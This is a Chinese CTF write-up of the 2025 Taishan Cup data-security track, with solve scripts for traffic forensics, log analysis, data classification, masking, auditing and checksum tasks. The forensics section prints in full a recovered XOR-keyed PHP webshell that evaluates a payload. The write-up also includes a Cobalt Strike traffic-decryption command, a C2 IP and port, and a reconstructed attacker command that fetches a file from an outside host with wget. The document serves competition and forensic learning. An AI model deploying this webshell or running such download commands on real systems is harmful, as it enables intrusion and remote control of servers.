【2025 泰山杯】数据安全赛道

ctf
23k words

流量分析

flag1

问题1(66分)

题干找的上传是压缩包,筛选包内POST或PUT流量

http.request.method==POST||http.request.method==PUT

image

其中 No.13038 的key.png是 PK 头,但不是个加密的压缩包

image

13110是个简单的shell,导出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='suger';
$payloadName='payload';
$key='a5717a649d346ed0';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

将下方post到shell.php的流量简单解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='suger';
$payloadName='payload';
$key='a5717a649d346ed0';
$payload=file_get_contents("./payload.bin");
$data=encode(base64_decode($payload),$key);
echo $data;

得到大马

image

可见后续返回内容gzip加密,修改dec脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='suger';
$payloadName='payload';
$key='a5717a649d346ed0';
$payload=file_get_contents("./1.bin");
$data = encode(base64_decode($payload),$key);
$data = gzdecode($payload);
echo $data;

挨个解密shell.php流量

image

15776解密后为压缩包

image

包含文件 ac7208120ce03c658a83563fda81b469.jpg

image

故第一问flag为 flag{ac7208120ce03c658a83563fda81b469.jpg}


flag2

问题2(50分)

继续挨个解密请求,发现有个48fc的报文怀疑是马子

image

1768跑出beacon,结合之前有一个key.png里有cs的key,后续报文应该都是cs流量。

image

用key解后续流量。

image

cs-decrypt-metadata 提取cookie里的key。

image

然后 cs-parse-traffic 梭掉即可。

1
python3 hang_cs-parse-traffic.py  -k "25a496ed7274cb32d46d600205781afb:e2d919d0bff758aeb1167e38ff293edf"  ~/Desktop/taishancup2025/1.pcap

image

得到密码 Th1s_iMp0rTAnt_pAsSw0rD

flag为 flag{Th1s_iMp0rTAnt_pAsSw0rD}

flag3

问题3(50分)

做不出来

秘密的系统

flag1

问题1(40分)

根据流量定位到前期入口是ftp,找到登陆成功包即可,筛选ftp,No.1058包显示,登录成功

image

image

flag为 flag{2025-09-05+22:19.09}

flag2

导出其中的rar和一个字典

image

通过字典跑出myc2密码123.com里面没写有用东西。

image

client得到密码 TaiShan2025Good!

image

看头上是upx,脱了

image

strings硬编码了c2 IP和端口

image

1
2
3
└─$ grep '191.72.183.116' -ra 
client:objShell.Run "cmd /c echo Connecting to 191.72.183.116:59894 ...", 0, False
client:echo "conn 191.72.183.116:59894"

得到flag flag{191.72.183.116:59894}

flag3

问题3(66分)

正则匹配出身份证号

image

flag{410389195802182244}

日志分析

flag1

题目1(40分)

猜是url传参,正则匹配?xx=

1
grep -E '\?[^;]+=' web_access.log

image

flag2

题目2(50分)

根据该ip请求时间顺序拼接header末尾的hex

image

image

1
grep -E '\?[^;]+=' web_access.log |sort -k4|rev|cut -d'"' -f2|awk -F'[: ]' '{print $1}'|rev|tr -d '\n'|xxd -r -p

得到 wget -c https://3.229.117.57/update

数据安全识别

flag1

问题1_1(66分)

纯遭罪,这里我用的paddle做ocr跑在虚拟机里差不多1-2秒一条

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
from paddleocr import PaddleOCR

ocr = PaddleOCR(lang="ch")

img_dir = os.path.join(os.getcwd(), "img")

imglist = [
img_dir+"/"+f for f in os.listdir(img_dir)
if os.path.isfile(os.path.join(img_dir, f))
]
# for i in imglist: print(i)
#
with open("./output.txt","a") as f:
for i in imglist:
result = ocr.ocr(i)[0]['rec_texts']
f.write(",".join(result)+"\n")

数据处理部分我是把 敏感、替换词、忽略词 分别导出到了 list1-3 三个txt,然后合并到一个new_list,替换时候在这个 new_list[匹配到的词+len(list1)] 就是目标词的下标。

然后另一个复杂点的是点赞数,因为他放在了ip和评论数中间,所以我用的当前条目的ip来作为basepoint,像这样 ip (点赞数) 共

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# coding=utf-8

import re
import ipaddress
import pickle
import hashlib

all_data= []

with open("./output.txt","r") as f:
all_data = [line.strip().split(",") for line in f.readlines()]


def parse(info):
format_data = {"id":"","text":"","level":"","date":"","time":"","ip":"","good":"","resp":""}
id = re.compile(r'([0-9a-z]+)')
level = re.compile(r'(LV\d{1,2})')
text = re.compile(r'([\u4e00-\u9fff]+)2025')
time = re.compile(r'(202\d.\d{2}.\d{2})\s?(\d{2}:\d{2})')
ip = re.compile(r'(\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3})')
resp = re.compile(r'共(\d+)')


_id = id.search(info[0])
if _id :
format_data["id"] = _id[1]

_text = text.search("".join(info[1::]))
if _text:
format_data["text"] = _text[1]

for i in info[0:2]:
_level = level.search(i)
if _level:
format_data["level"] = _level[1]

for i in info[3::]:
_time = time.search(i)
if _time:
format_data["date"] = _time.group(1).strip().replace('\u2013','-')
format_data["time"] = _time.group(2).strip()

_ip = ip.search("".join(info[-3:-1]))
if _ip:
format_data["ip"] = _ip[1]

_good = re.search(rf'{re.escape(format_data["ip"])}(\d+)共',"".join(info[-3::]))
if _good:
format_data["good"] = _good[1]

_resp = resp.search(info[-1])
if _resp:
format_data["resp"] = _resp[1]
# print(format_data)

return format_data

def malicious_ip(user_info):
with open("./IP数据库.pkl", "rb") as f:
ipdata = pickle.load(f)
# print(ipdata)
iplist = [ipaddress.ip_network(cdir, strict=False) for cdir in ipdata]
for user in user_info:
ip = ipaddress.ip_address(user["ip"])
if any(ip in net for net in iplist):
# print(user["ip"])
user["m_ip"] = 1;

def text_replace(user_info):
list1 = [i.replace("\n", "") for i in open("./1.txt", "r").readlines()]
list2 = [i.replace("\n", "") for i in open("./2.txt", "r").readlines()]
list3 = [i.replace("\n", "") for i in open("./3.txt", "r").readlines()]
# print(user_info)
# new_list = list1+list2+list3
new_list = [*list1, *list2, *list3]

for i in user_info:
for j in new_list:
rep_text = j
if rep_text in i["text"]:
# print(i["text"])
num = new_list.index(rep_text)
i["text"] = i["text"].replace(rep_text, new_list[num + len(list1)])
i["m_text"] = 1;
break

def md5(text):
md5num = hashlib.md5(text.encode("utf-8")).hexdigest()
return md5num[::5]

def like_rate(num):
if num >= 61: return 1
if 51<= num <=60: return 0.8
if 21<= num <=50: return 0.5
if 11<= num <=20: return 0.2
if 1<= num <=10 : return 0.05
return 0

user_info = []

malic_list = []

for info in all_data: user_info.append(parse(info))


result = sorted(user_info,key=lambda x:x["date"]+x["time"])

text_replace(result)

malicious_ip(result)

for i in result:
if i.get("m_text"):
resp_like = round( len(i["text"])*(int(i["resp"])+like_rate(int(i["good"]))))
malic_list.append((md5(i["text"])+"_"+str(resp_like)))

for i in result:
if i.get("m_ip"):
malic_list.append(i["id"])


print("|".join(malic_list))

image

数据分类分级

flag1

问题(50分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import os
import re

ft = os.listdir("/home/fonllge/Desktop/taishancup2025/5")

tmplist = sorted(ft,key=lambda x:int(re.search(r'\d+',x).group()))

filelist = [ os.path.join("/home/fonllge/Desktop/taishancup2025/5",i) for i in tmplist]

textlist = []

for i in filelist:
with open(i,"r") as f:
textlist.append(re.search(r'\'([^\']+)\'',f.readlines()[-1].strip())[1])
# print(len(textlist))

finallist=[]

# for i in textlist:print(i)
for j,i in enumerate(textlist):
# print(j)
if mac:=re.search(r'\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2}',i):
finallist.append(f"t{j+1}_6-2_2")
# print(mac.group())
elif ip:=re.search(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',i):
finallist.append(f"t{j+1}_6-1_2")
# print(ip.group())

elif bank_card:=re.search(r'6222\d{12}',i):
finallist.append(f"t{j+1}_2-1_3")
# print(bank_card.group())
pass
elif user_card:=re.search(r'\d{18}',i):
finallist.append(f"t{j+1}_5-1_3")
# print(user_card.group())
pass
elif i in ["经理","总监","主管","工程师","分析师","专员","会计","设计师","程序员","销售","教师"]:
finallist.append(f"t{j+1}_4-2_2")
# print(i)
pass
elif i in ["小学","初中","高中","专科","本科","研究生"]:
finallist.append(f"t{j+1}_4-1_2")
# print(i)
elif addr := re.search(r'^.+号', i):
finallist.append(f"t{j+1}_3-2_3")
# print(addr.group())
elif phone := re.search(r'^\d{11}$', i):
finallist.append(f"t{j+1}_3-1_2")
# print(phone.group())
elif money := re.search(r'^[0-9]{1,5}$', i):
finallist.append(f"t{j+1}_2-2_3")
# print(money.group())
elif jiao := re.search(r'^.+教$', i):
finallist.append(f"t{j+1}_1-5_3")
# print(jiao.group())
elif i in ["团员","党员","群众"]:
finallist.append(f"t{j+1}_1-4_3")
elif i in ["男","女"]:
finallist.append(f"t{j+1}_1-2_2")
elif i in ["篮球","足球","游戏","旅游"]:
finallist.append(f"t{j+1}_1-1_1")
else:
finallist.append(f"t{j+1}_1-3_3")

import hashlib

a = hashlib.md5(str(",".join(finallist)).encode("utf-8")).hexdigest()
print(a)

数据风险评估

flag1

给了个data.xlsx,让从里面筛出格式正确的numpy、gps、用户信息、速度信息,然后根据数据长度统计对应风险值,随后做个数量*挨个的风险值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import re
import pandas

sfz_qz = [7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
sfz_sign = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]


def np_func(data):
if re.search(r'^\[(?:\s*\[(\s?\d+)+\])+\]$',data):
return True
return False

def gps_func(data):
re_query = re.search(r'^(-?\d+\.?\d*)°[NS]\,(-?\d+\.?\d*)°[EW]$', data)
if re_query:
lat = float(re_query.groups()[0])
lot = float(re_query.groups()[1])
if (lot <= 180 and lot >= -180) and (lat <= 90 and lat >= -90):
return True
return False


def user_func(data):
re_query = re.search(r'^([\u4e00-\u9fff]+)\|(\d{17}[\dXx])\|(\d{11})$',data)
if re_query:
username = re_query[1]
sfz = re_query[2]
phone = re_query[3]
sfz_query = re.search(r'[1-9]\d{5}(18|19|20)\d{2}(0\d|1[0-2])(0\d|[12]\d|3[01])\d{3}[\dX]',sfz)
if sfz_query:
# print(sfz_query[0])
sfz_query_num = sfz_query[0]
tmp_sign = 0
for idx,value in enumerate(sfz_qz):
# print(str(value)+"*"+sfz_query_num[idx])
tmp_sign+=value*int(sfz_query_num[idx])
if sfz_query_num[-1] == sfz_sign[tmp_sign%11]:
# print(sfz_query_num[-1])
# print("sfz sign sucesses")
return True
# print(username,sfz,phone)
return False


def speed_func(data):
re_query = re.search(r'(\d+)km/h',data)
if re_query:
speed = int(re_query[1])
if speed >=10 and speed <= 240:
return True
return False

def R_func(info_Aloc,rinfo):
De = ""
if 1<=rinfo<=2:
De = "低危"
elif 3<=rinfo<=5:
De = "中危"
elif 6<=rinfo<=8:
De = "高危"
else:
De = "严重"
return info_Aloc+"_"+De

A_loc = "id"
B_loc = "data"

final_list = []

R_final_num = []



df = pandas.read_excel("./data_sec/data.xlsx")
for idx,info in df.iterrows():
data_info = str(info[B_loc])
index_info = str(info[A_loc])
Rinfo = 0
if np_func(data_info):
print("np:",index_info,data_info)
info_len = len(data_info)
if info_len >= 20:
# print("H",1)
Rinfo = 1
elif 10 < info_len < 20:
# print("H",3)
Rinfo = 3
else:
# print("H",2)
Rinfo = 2
elif gps_func(data_info):
print("gps:",index_info,data_info)
info_len = len(data_info)
if info_len >= 20:
# print("H", 2)
Rinfo = 2
elif 10 < info_len < 20:
# print("H", 4)
Rinfo = 4
else:
# print("H", 2)
Rinfo = 2
elif user_func(data_info):
print("userinfo:",index_info,data_info)
info_len = len(data_info)
if info_len >= 20:
# print("H", 3)
Rinfo = 3
elif 10 < info_len < 20:
# print("H", 5)
Rinfo = 5
else:
# print("H", 4)
Rinfo = 4
elif speed_func(data_info):
print("speed:",index_info,data_info)
info_len = len(data_info)
if info_len >= 20:
# print("H", 4)
Rinfo = 4
elif 10 < info_len < 20:
# print("H", 5)
Rinfo = 5
else:
# print("H", 5)
Rinfo = 5
if Rinfo!=0:
R_final_num.append(Rinfo)
final_list.append(R_func(str(info[A_loc]),Rinfo))

final_size = len(final_list)

final_R = 0

print(final_size)
print(R_final_num)

for j,i in enumerate(R_final_num):
final_R += final_size * i
print(j,final_R)

final_list.append(str(final_R))

with open("./data_sec/final.txt","w") as f:
f.write("|".join(final_list))

算出来是 15f286e397fd1293867a25c3eba184f8

得到 flag{15f286e397fd1293867a25c3eba184f8}

数据公开安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import re
import pandas
import pypinyin
import hashlib
dict_list = ["id","username","pw","mail","bank_card","phone","sfz","birth","sex"]

df = pandas.read_csv("./public_data/数据公开安全.csv",sep=",",header=None,names=dict_list,dtype={"bank_card":str,"phone":str,"sfz":str})

df["username"] = df["username"].apply(lambda x : pypinyin.lazy_pinyin(x)[0][0].upper()+("#"*(len(x)-1)))
df["pw"] = df["pw"].apply(lambda x:hashlib.sha256(x.encode("utf-8")).hexdigest()[:16])
df["bank_card"] = df["bank_card"].apply(lambda x: x[:6]+("X"*6)+x[12:])
df["phone"] = df["phone"].apply(lambda x: x[:3])
df["sfz"] = df["sfz"].apply(lambda x: x[:2]+((len(x)-2) * "*"))
df["sex"] = df["sex"].apply(lambda x: "M" if x == "男" else "F")

# print(df["sex"])

df.to_csv("./public_data/test.csv",index=False,header=False)

with open("./public_data/test.csv","rb") as f:
print(hashlib.file_digest(f,"md5").hexdigest())

数据库操作审计

flag1

⽣成答案:输出所有检测到的违规操作记录,设置违规码1、2、3、4、5分别表⽰不存在的账号执⾏操作、⽆权操
作的表、超权限操作、多次尝试登陆、⾮root⽤户进⾏权限操作(⻅上表),若发现⽇志某⾏出现违规操作,构建
违规码-编号,若是违规码是4即违规操作是多次登陆尝试,则构建4-IP。多个恶意操作之间⽤逗号(,)隔开即可,拼
接顺序:将违规操作1、2、3、5按照在database_logs.txt表中的编号顺序从⼩到⼤进⾏排序,之后拼接违规操作
4,此时按照IP⼤⼩从⼩到⼤排序。最后将拼接后的内容进⾏32位⼩写md5加密后提交⾄平台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import re
import ipaddress

user_per = []
data_log = []

final = []
IP_final = []

def non_user(user,per):
if user not in per:
return False
return True

def non_per_table(log,per):
table_search = re.search(r"table\d+",log[5])
if table_search:
table_num = table_search.group()
user_num = int(re.search(r"user(\d+)",log[3])[1])
if table_num not in per[user_num-1][2]:
return False
return True

def non_per_do(log,per):
do_search = re.search(r"operation=(\w+)",log[-1])
if do_search:
do_info = do_search[1]
user_num = int(re.search(r"user(\d+)",log[3])[1])
if do_info not in per[user_num-1][3]:
return False
return True

def login_ana(log,login_dic):
if log[4] == "LOGIN_FAILED" or log[4] == "LOGIN_SUCCESS":
malicious_ip = re.search(r"IP=(.+)", log[-1])[1]
if malicious_ip not in login_dic.keys():
login_dic[malicious_ip] = 0
if log[4] == "LOGIN_SUCCESS":
login_dic[malicious_ip] = 0
return False
if login_dic[malicious_ip]+1 > 20 :
login_dic[malicious_ip] = 0
return malicious_ip
login_dic[malicious_ip] +=1
return False

def isroot(log,per):
if log[4] == "GRANT":
do_search = int(re.search(r"user(\d+)",log[3])[1])
if per[do_search-1][4] == "non-root":
return False
return True

with open("./sql_log/user_permissions.txt","r") as f:
user_per = [i.strip().split(", ")for i in f.readlines()]

with open("./sql_log/database_logs.txt","r") as f:
data_log = [i.strip().split(" ")for i in f.readlines()]

user_login = {}

for j,i in enumerate(data_log):
if non_user(data_log[j][3],[user[1] for user in user_per ]) != True:
# print("1-"+data_log[j][0])
final.append ("1-"+data_log[j][0])
elif non_per_table(data_log[j],user_per) != True:
# print("2-"+data_log[j][0])
final.append ("2-"+data_log[j][0])
elif non_per_do(data_log[j],user_per) != True:
# print("3-"+data_log[j][0])
final.append ("3-"+data_log[j][0])
elif (IP:=login_ana(data_log[j],user_login)) :
# print("4-"+IP)
IP_final.append (IP)

elif isroot(data_log[j],user_per) != True:
#

# ips = [
# "192.168.1.235",
# "10.0.0.5",
# "192.168.1.20",
# "172.16.0.1"
# ]
#
# IP_final.extend(ips)
print("5-"+data_log[j][0])
final.append ("5-"+data_log[j][0])

final.sort(key=lambda x:int(x.split("-")[1]))
IP_final.sort(key=lambda x: ipaddress.ip_address(x))
final.extend(["4-"+i for i in IP_final])

print(",".join(final))

import hashlib

print(hashlib.md5(",".join(final).encode("utf-8")).hexdigest())

flag{105818b115101831349d6913a9959204}

数据脱敏

flag1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import re
import json
import base64

# print("姓名 性别 出生日期 身份证号码 手机号 密码 银行卡号 邮箱号")
first_name=["欧阳", "太史", "端木", "上官", "司马", "东方", "独孤", "南宫",
"万俟", "闻人", "夏侯", "诸葛", "尉迟", "公羊", "赫连", "澹台",
"皇甫", "宗政", "濮阳", "公冶", "太叔", "申屠", "公孙", "慕容",
"仲孙", "钟离", "长孙", "宇文", "司徒", "鲜于", "司空", "闾丘",
"子车", "亓官", "司寇", "巫马", "公西", "颛孙", "壤驷", "公良",
"漆雕", "乐正", "宰父", "谷梁", "拓跋", "夹谷", "轩辕", "令狐",
"段干", "百里", "呼延", "东郭", "南门", "羊舌", "微生", "公户",
"公玉", "公仪", "梁丘", "公仲", "公上", "公门", "公山", "公坚",
"左丘", "公伯", "西门", "公祖", "第五", "公乘", "贯丘", "公皙",
"南荣", "东里", "东宫", "仲长", "子书", "子桑", "即墨", "达奚",
"褚师", "吴铭"]
read_line = []
line = []

final_list = []



with open("./data_userinfo_parse/data.json","r") as f:
read_line = json.loads(f.read())
# print(read_line[0][0])
line = [i for i in read_line]


for i in line:
temp_ls = []
username = i[0]
sex = i[1]
date = i[2]
sfz = i[3]
phone = i[4]
password = i[5]
bank = i[6]
mail_num = i[7]
if any(username.startswith(name) for name in first_name):
temp_ls.append(username[:2] + "**")
else:
temp_ls.append(username[0] + "**" )
if sex == "女":
temp_ls.append("F")
else:
temp_ls.append("M")
temp_ls.append(date)
temp_ls.append(sfz[:4]+"**"+sfz[6:8]+"**"+sfz[10:14]+"**"+sfz[16:])
temp_ls.append(phone[:3]+("*"*4)+phone[7:])
temp_ls.append("************")
temp_ls.append(bank[:4]+("*"*(8))+bank[-4:])

mailinfo=base64.b64decode(mail_num).decode()
temp_ls.append(base64.b64encode(re.sub(r"(\w)\w*(.\@.*)",r"\1****\2",mailinfo).encode("utf-8")).decode())
final_list.append(temp_ls)


# username,sex,date,sfz,phone,password,bank,mail

with open("./data_userinfo_parse/1.txt","w") as f:
json.dump(final_list,f, ensure_ascii=False)

with open('./data_userinfo_parse/1.txt') as f:
data = json.load(f)

import hashlib

info = json.dumps(data)
sha256_sum, md5_sum = hashlib.sha256(info.encode()).hexdigest(), hashlib.md5(info.encode()).hexdigest()

if sha256_sum == '95ddb9935c7905b68dbfac9fbb6e6083f2bca88bd504ed9f960324f4d3104434':
print(f'Correct! The submit answer is {md5_sum}')
else:
print('Wrong! Try again!')

flag{f15bde14d6bf0ceac8286a4dfd3f9de9}

数据完整性校验

flag1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import pandas
import hashlib
df = pandas.read_excel("./data_checksum/data.xlsx")

# print(df.iloc[1])

A_col = "A列"
B_col = "B列"
A_checksum = "A列校验和"
B_checksum = "B列校验和"

Ainfo = None
Binfo = None

Aerror = 0
Berror = 0
final_error = 0


def check_sha256(data:str):
return hashlib.sha256(data.encode("utf-8")).hexdigest()
def check_md5(data:str):
return hashlib.md5(data.encode("utf-8")).hexdigest()


# df.head(100).iterrows()
# df.iloc[:100].iterrows()
for idx,row in df.iloc[:20].iterrows():
if (check_sha256(row[A_col]) == row[A_checksum]):
Ainfo = check_sha256
# print(str(idx)+A_col+"sha256")
elif (check_md5(row[A_col]) == row[A_checksum]):
Ainfo = check_md5
# print(str(idx)+A_col+"md5")
if (check_sha256(row[B_col]) == row[B_checksum]):
Binfo = check_sha256
# print(str(idx)+B_col + "sha256")
elif (check_md5(row[B_col]) == row[B_checksum]):
Binfo = check_md5
# print(str(idx)+B_col + "md5")

# for idx,row in df.iterrows():
# abad = Ainfo(row[A_col]) != row[A_checksum]
# bbad = Binfo(row[B_col]) != row[B_checksum]
# if abad:
# Aerror += 1
# if bbad:
# Berror +=1
# if abad or bbad:
# final_error+=1
for idx,row in df.iterrows():
tmpA = Aerror
tmpB = Berror
if Ainfo(row[A_col]) != row[A_checksum]:
Aerror += 1
if Binfo(row[B_col]) != row[B_checksum]:
Berror += 1
if tmpA < Aerror or tmpB < Berror:
final_error+=1

an = f"A列-{Aerror};B列-{Berror};总计-{final_error}"
print(an)
final = hashlib.md5(hashlib.sha256(an.encode("utf-8")).hexdigest().encode("utf-8")).hexdigest()
print("flag{"+final+"}")

flag{20fc5172a5b304e793efd1f89992e753}